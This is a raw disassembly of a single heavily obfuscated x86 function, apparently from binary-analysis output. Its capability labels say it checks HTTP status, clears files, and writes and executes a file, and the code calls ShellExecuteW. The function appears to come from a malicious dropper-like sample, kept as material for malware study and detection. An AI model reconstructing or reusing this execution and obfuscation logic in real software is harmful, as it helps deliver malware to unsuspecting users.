Function at 0x1002bd89
Capabilities:
Check http status code
Clear file content
Write and execute a file

Disassembly:
mov eax, 0x1005b71a
call fcn.1005a790
sub esp, 0x5ac
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20c], edx
mov dword [ebp - 0x60], ecx
xor ebx, ebx
mov eax, 0x4a7d2ae8
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0x1c1ec2db
mov dword [ebp - 0x3c], 0xcd50997
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x14], ebx
jmp 0x1002bdf5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], 0xa049fe38
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002bde4
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x1002c044
mov dword [ebp - 0x1c], 0x2778
cmp dword [ebp - 0x1c], 0x2a39
jle 0x1002bea2
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
idiv esi
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x2c]
mov esi, edx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10073e78
and eax, ebx
cdq
push edx
push eax
call fcn.1000383a
inc edi
cmp edi, 0x67eb
jl 0x1002be39
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x14], esi
push 0
pop ebx
cmp esi, 0xeb8
jl 0x1002be29
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x4fb3
jl 0x1002be24
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x2ea1
jl 0x1002be1f
push 0x73c
push 0x148f
push ebx
push ebx
push 0x1a1c
push 0x1558
call dword [sym.imp.USER32.dll_ToUnicode]
mov dword [ebp - 0x28], 0x870a3267
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0x2440
jge 0x1002bee3
mov edx, str.whc_gcpf_ijzeuh_hddr_myhjt_cyfkjowdm_ttz_yde_hsjsrx_eizcu
mov ecx, 0x10073e78
call fcn.100059c3
jmp 0x1002bee3
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], 0x515
cmp dword [ebp - 0x1c], 0x5c0
jle 0x1002bf57
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x14], 0x3dfb
mov esi, ebx
mov dword [ebp - 0x24], 0x41b1
mov eax, esi
lea ecx, [ebp - 0x440]
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002bf25
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x440]
call fcn.10003c79
add esi, edi
dec dword [ebp - 0x24]
jne 0x1002bf0b
mov esi, dword [ebp - 0x20]
add edi, esi
dec dword [ebp - 0x14]
jne 0x1002bf02
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x7719
jl 0x1002bef9
mov dword [ebp - 0x24], 0x35d56974
cmp dword [ebp - 0x1c], 0x4ee
jge 0x1002bf72
push str.wumgbq_bxdqsxkwr_cvf_felteufd_lhrmn
call fcn.10043cef
pop ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1002bf8b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x384], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002bf7a
lea eax, [ebp - 0x3c]
xor dl, dl
push eax
push ecx
call fcn.1002b492
pop ecx
mov dword [ebp - 0x3c], 3
pop ecx
cmp dword [ebp - 0x3c], ebx
jl 0x1002c03c
push 5
pop ebx
mov dword [ebp - 0x1b4], 0xbf90350d
xor edx, edx
mov eax, dword [ebp - 0x18]
push 1
mov eax, dword [ebp + eax*4 - 0x21c]
mov ecx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x218]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
mov edx, 0x7154
setg cl
cmp ebx, ecx
mov eax, dword [ebp + eax*4 - 0x21c]
sbb ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x214]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
push ecx
mov dword [ebp - 0x1b4], eax
lea ecx, [ebp - 0x1b4]
call fcn.1002b63f
dec dword [ebp - 0x3c]
pop ecx
pop ecx
jns 0x1002bfb2
xor ebx, ebx
inc dword [ebp - 0x18]
jmp 0x1002bdfe
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x218]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x264]
dec dword [ebp - 0x264]
test eax, eax
jg 0x1002c07a
xor eax, eax
inc eax
jmp 0x1002c07c
mov eax, ebx
push 0xfffffffffffffffe
pop esi
cmp esi, eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x218]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov dword [ebp - 0x1a4], ebx
setge dl
mov dword [ebp - 0x1a0], ebx
xor eax, eax
mov dword [ebp - 0x19c], ebx
cmp edx, 1
setge al
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x24], 0x41b6ba00
mov dword [ebp - 0x1c], 0x2ce3
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x14], ebx
jmp 0x1002c0e7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x48], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c0d9
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x44]
neg ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0xe6b6
je 0x1002c131
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
cmp edx, 0xcaa8e55a
jne 0x1002c154
push ecx
xor cl, cl
call fcn.1002b90a
pop ecx
jmp 0x1002c22d
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1002c174
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x198], 0xfa1a8f1e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c163
mov eax, dword [ebp - 0x24]
sub eax, 0xfb96f37d
neg eax
sbb eax, eax
inc eax
cmp eax, 0xf1bd
jl 0x1002c198
cmp dword [ebp - 0x28], ebx
je 0x1002c198
xor esi, esi
inc esi
jmp 0x1002c19a
mov esi, ebx
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x194], ecx
mov eax, dword [ebp - 0x28]
cmp eax, 0x4ed3
setg dl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
mov edx, 0x6fda4f2a
setge al
xor ecx, ecx
cmp eax, 0x44381826
setne cl
imul ecx, dword [ebp - 0x20]
sub ecx, 0x55a
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x194]
cmp eax, 1
mov eax, dword [ebp - 0x1c]
setge cl
sub edx, ecx
sub edx, eax
xor eax, eax
add edx, dword [ebp - 0x194]
cmp edx, 6
setge al
xor ecx, ecx
cmp eax, 0xfffffff9
setge cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x194]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, dword [ebp - 0x30]
setne cl
imul eax, ecx
dec eax
mov dword [ebp - 0x194], eax
xor edx, edx
mov dword [ebp - 0x1c], ebx
inc edx
cmp dword [ebp - 0x1c], edx
jg 0x1002c33c
mov dword [ebp - 0x30], 0x546d79c1
mov dword [ebp - 0x28], 0xfd7f9b64
mov dword [ebp - 0x2ec], edx
mov dword [ebp - 0x2e8], edx
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 0x2e0], edx
mov dword [ebp - 0x28], 0x55ef
cmp dword [ebp - 0x28], 0x580c
jle 0x1002c29b
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10073e78
cdq
push edx
push eax
call fcn.1000383a
inc edi
cmp edi, 0x7c32
jl 0x1002c276
inc esi
cmp esi, 0x7899
jl 0x1002c274
mov byte [ebp - 4], 6
cmp dword [ebp - 0x28], 0x5457
jge 0x1002c2d5
mov edx, str.friw_gvsmmt_iovb_yxvsgsza_uayan_ggwkhyqe_izz_vgsj_fyu_cbtqy_xpbdlclz
mov ecx, 0x10073e78
call fcn.100059c3
jmp 0x1002c2d5
mov dword [ebp - 4], 5
xor edx, edx
mov eax, dword [ebp - 0x1c]
inc edx
cmp dword [ebp + eax*4 - 0x48], ebx
je 0x1002c319
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x48]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x48]
cmp eax, dword [ebp - 0x44]
jle 0x1002c312
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp + eax*4 - 0x48]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2ec], eax
inc dword [ebp - 0x1c]
jmp 0x1002c233
mov dword [ebp - 0x34], 0x4f01
or edi, 0xffffffff
mov dword [ebp - 0x1c], edi
mov eax, 0xfffd
mov dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x18], 0xa3d88101
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], ebx
jmp 0x1002c38a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0x3fa75c19
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c37c
inc dword [ebp - 0x64]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x64]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x1c0]
setne dl
sub edx, eax
cmp edx, 0x7030
je 0x1002c4c5
xor ecx, ecx
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x1002c3e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x240], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c3d4
cmp dword [ebp - 0x20], ebx
je 0x1002c461
push ecx
mov dword [ebp - 0x28], 0x3876
mov edx, 0x47e1
mov dword [ebp - 0x24], edi
push ecx
call fcn.1002b7d3
mov dword [ebp - 0x1c], 1
pop ecx
pop ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1002c548
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1bc], ebx
jne 0x1002c422
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setl dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp + eax*4 - 0x1c4], 0xa9c
sub eax, 0xb26d8f9c
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x1c]
jns 0x1002c413
jmp 0x1002c548
mov dword [ebp - 0x20], 0x1c
jmp 0x1002c4ba
mov dword [ebp - 0x18], ebx
jmp 0x1002c4b2
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x68]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
mov dword [ebp - 0x30], edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp eax, edx
setle cl
mov dword [ebp - 0x240], ecx
xor ecx, ecx
inc dword [ebp - 0x18]
inc ecx
cmp dword [ebp - 0x18], ecx
jle 0x1002c46f
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x16
jg 0x1002c46a
jmp 0x1002c548
push 0x57db
mov dword [ebp - 0x14], 0xd226f84b
xor dl, dl
push ecx
call fcn.1002b81e
pop ecx
pop ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1002c542
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x1002c4f3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], ecx
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x1002c4e0
push 0x6f
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xb4], 0x30cfb07
mov dword [ebp - 0xb0], 0x4040d01
mov dword [ebp - 0xac], 0x7030a0b
mov dword [ebp - 0xa8], 0x1a090608
mov dword [ebp - 0xa4], 0xa3c0e02
mov word [ebp - 0xa0], 0x206
mov byte [ebp - 0x9e], 0x11
mov byte [ebp - 0x9d], bl
mov word [ebp - 0x9c], 0x620
mov byte [ebp - 0x9a], bl
mov word [ebp - 0x99], 0x6e05
mov word [ebp - 0x35a], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 0x10
jne 0x1002c5d0
push 3
pop ecx
push 0x11
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x1002c61b
movzx edx, byte [ebp + esi - 0xb3]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xb6]
movzx ecx, word [ebp + eax*2 - 0x368]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb4]
add ecx, edx
mov word [ebp + eax*2 - 0x368], cx
lea eax, [ebp - 0x178]
push eax
mov cl, 1
call fcn.1002b73c
pop ecx
mov ecx, dword [ebp - 0x178]
add esi, 2
cmp esi, 0x1d
jb 0x1002c5bd
xor eax, eax
mov word [ebp - 0x34e], ax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x20], 0x2584
cmp dword [ebp - 0x20], 0x27d5
jle 0x1002c6b7
mov dword [ebp - 0x14], ebx
mov ecx, ebx
mov dword [ebp - 0x28], 0x6bb2
mov dword [ebp - 0x24], ecx
mov esi, ebx
mov eax, ecx
mov edi, ebx
cdq
idiv esi
mov ebx, edx
mov eax, edi
mov ecx, 0x10073e78
xor eax, ebx
cdq
push edx
push eax
call fcn.1000383a
inc edi
cmp edi, 0x74de
jl 0x1002c65d
mov ecx, dword [ebp - 0x24]
inc esi
push 0
pop ebx
cmp esi, 0x33a1
jl 0x1002c654
mov eax, dword [ebp - 0x14]
add ecx, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
jne 0x1002c652
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x4cf6
jl 0x1002c646
push 0x1d99
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or edi, 0xffffffff
mov byte [ebp - 4], 8
cmp dword [ebp - 0x20], 0x231d
jge 0x1002c6f4
mov edx, str.voztn_wotsvmshg_tfgfwsid
mov ecx, 0x10073e78
call fcn.100059c3
jmp 0x1002c6f4
mov dword [ebp - 4], 5
mov dword [ebp - 0x18], ebx
jmp 0x1002c711
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x208], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002c700
mov dword [ebp - 0x18], ebx
jmp 0x1002c72d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ac], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002c71c
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x1002c860
mov dword [ebp - 0x28], 0x329b3a00
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0xd54b
mov dword [ebp - 0x14], ebx
jmp 0x1002c766
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x494], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c759
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x208], ebx
jne 0x1002c788
mov eax, dword [ebp - 0x208]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
cmp edi, ecx
mov dword [ebp - 0x1ac], ecx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0x208]
sbb eax, eax
neg eax
cmp eax, edx
jl 0x1002c847
mov dword [ebp - 0x28], 5
push 3
mov dword [ebp - 0x244], 0xfffffff8
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1002c7e3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x410], 0xf803
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c7d2
mov dword [ebp - 0x18], ebx
jmp 0x1002c7fe
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d0], 0x584502e4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c7ed
mov dword [ebp - 0x28], ebx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x208]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
lea eax, [ebp - 0x244]
push eax
setne dl
xor cl, cl
add edx, 0xe165
push 1
mov dword [ebp - 0x1ac], edx
xor dl, dl
push 0x4db0
push 0x737e
call fcn.1002b87a
add esp, 0x10
jmp 0x1002c857
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x1002c857
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
dec dword [ebp - 0x1c]
jns 0x1002c743
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x17571177
mov dword [ebp - 0x14], ebx
jmp 0x1002c884
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3bc], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c873
mov dword [ebp - 0x18], ebx
jmp 0x1002c90e
mov dword [ebp - 0x20], 0xe1e2c0d3
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], ebx
jl 0x1002c918
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1002c8be
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x278], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c8ad
mov dword [ebp - 0x278], 1
cmp dword [ebp - 0x278], ebx
jl 0x1002c8f1
push 0x467f
mov byte [ebp - 0x49], bl
lea edx, [ebp - 0x49]
push ebx
call fcn.1002b980
dec dword [ebp - 0x278]
pop ecx
pop ecx
jns 0x1002c8d6
push 1
push ecx
lea ecx, [ebp - 0x24c]
call fcn.1002b768
dec dword [ebp - 0x20]
pop ecx
pop ecx
jns 0x1002c8a2
cmp dword [ebp - 0x20], ebx
jne 0x1002c918
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xe
jl 0x1002c88f
push 0x65
pop eax
mov dword [ebp - 0x94], 0x603a707
mov dword [ebp - 0x90], 0x9040b06
mov dword [ebp - 0x8c], 0xc050e01
mov byte [ebp - 0x88], bl
mov dword [ebp - 0x87], 0x143020d
mov byte [ebp - 0x83], 0x3d
mov word [ebp - 0x286], ax
mov dword [ebp - 0x28], 0x3a56
cmp dword [ebp - 0x28], 0x3b8c
jle 0x1002c994
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10073e78
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000383a
inc edi
cmp edi, 0x1fc8
jl 0x1002c96b
inc esi
cmp esi, 0x1e12
jl 0x1002c969
or edi, 0xffffffff
push 2
mov ecx, ebx
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0x10
jne 0x1002c9af
push 2
pop ecx
mov dword [ebp - 0x164], ecx
jmp 0x1002ca09
movzx edx, byte [ebp + esi - 0x93]
mov eax, esi
sub eax, ecx
push 1
push ebx
movzx eax, byte [ebp + eax - 0x96]
movzx ecx, word [ebp + eax*2 - 0x294]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x94]
add ecx, edx
mov edx, 0x756
mov word [ebp + eax*2 - 0x294], cx
lea eax, [ebp - 0x164]
push eax
push 0x48b4
xor cl, cl
call fcn.1002bb83
mov ecx, dword [ebp - 0x164]
add esp, 0x10
add esi, 2
cmp esi, 0x12
jb 0x1002c99f
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x28], 0x37a1
jge 0x1002ca4e
mov edx, str.xygb_omyc_jeq_rivg_swgwjzue_urq_ckh_uvviqbql_tqlp_gdbe
mov ecx, 0x10073e78
call fcn.100059c3
jmp 0x1002ca4e
mov dword [ebp - 4], 5
xor eax, eax
mov word [ebp - 0x284], ax
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x1c], 0x360de574
mov dword [ebp - 0x30], 0xd4f6c553
mov dword [ebp - 0x14], ebx
jmp 0x1002caa5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b0], 0x3c7d24b5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002ca94
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], eax
jle 0x1002cac5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0xfffffffe
setge cl
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0x3d4752e4
setne cl
add ecx, dword [ebp - 0x24]
je 0x1002cb25
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x14], ebx
je 0x1002cb05
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x1c]
jge 0x1002cb25
mov ecx, ebx
jmp 0x1002cb28
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xfffffff9
mov ecx, 0xd58945cb
setl al
sub eax, dword [ebp - 0x20]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, edi
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1b0]
cmp edx, eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
setle cl
add edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x334]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
xor eax, eax
mov word [ebp - 0x334], ax
lea eax, [ebp - 0x294]
push eax
mov dword [ebp - 0x320], 7
mov dword [ebp - 0x324], ebx
call fcn.10003d65
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x31c]
xor eax, eax
mov dword [ebp - 0x308], 7
mov word [ebp - 0x31c], ax
lea eax, [ebp - 0x368]
push eax
mov dword [ebp - 0x30c], ebx
call fcn.10003d65
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.10005ddd
lea eax, [ebp - 0x334]
push eax
lea ecx, [ebp - 0x3d4]
call fcn.10005ddd
push ebx
push 1
lea ecx, [ebp - 0x31c]
call fcn.10004184
push ebx
push 1
lea ecx, [ebp - 0x334]
call fcn.10004184
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x3bc]
push dword [ebp + 0x10]
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x18c], ebx
push eax
lea eax, [ebp - 0x3ec]
mov dword [ebp - 0x188], ebx
push eax
push ebx
mov dword [ebp - 0x184], ebx
call fcn.1002e818
push fcn.1000b664
push 1
push 0x30
lea eax, [ebp - 0x3ec]
mov byte [ebp - 4], 0xf
push eax
call fcn.10044099
push 7
pop edx
mov ecx, edx
lea edi, [ebp - 0x368]
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x477862f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], 0x1151c3c3
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x2c], 0x9cdf
mov dword [ebp - 0x1c], 0xb27067d5
mov dword [ebp - 0x14], ebx
jmp 0x1002cc9e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x280], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002cc91
mov dword [ebp - 0x20], ebx
jmp 0x1002cd5c
mov dword [ebp - 0x28], 0xebfb
mov dword [ebp - 0x1a8], 0xffffffff
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x14], ebx
jmp 0x1002ccda
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], 0x7fa5c62e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002ccc9
lea eax, [ebp - 0x1a8]
mov dl, 1
push eax
push ecx
call fcn.1002b81e
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0xfffffffc
setge cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x18]
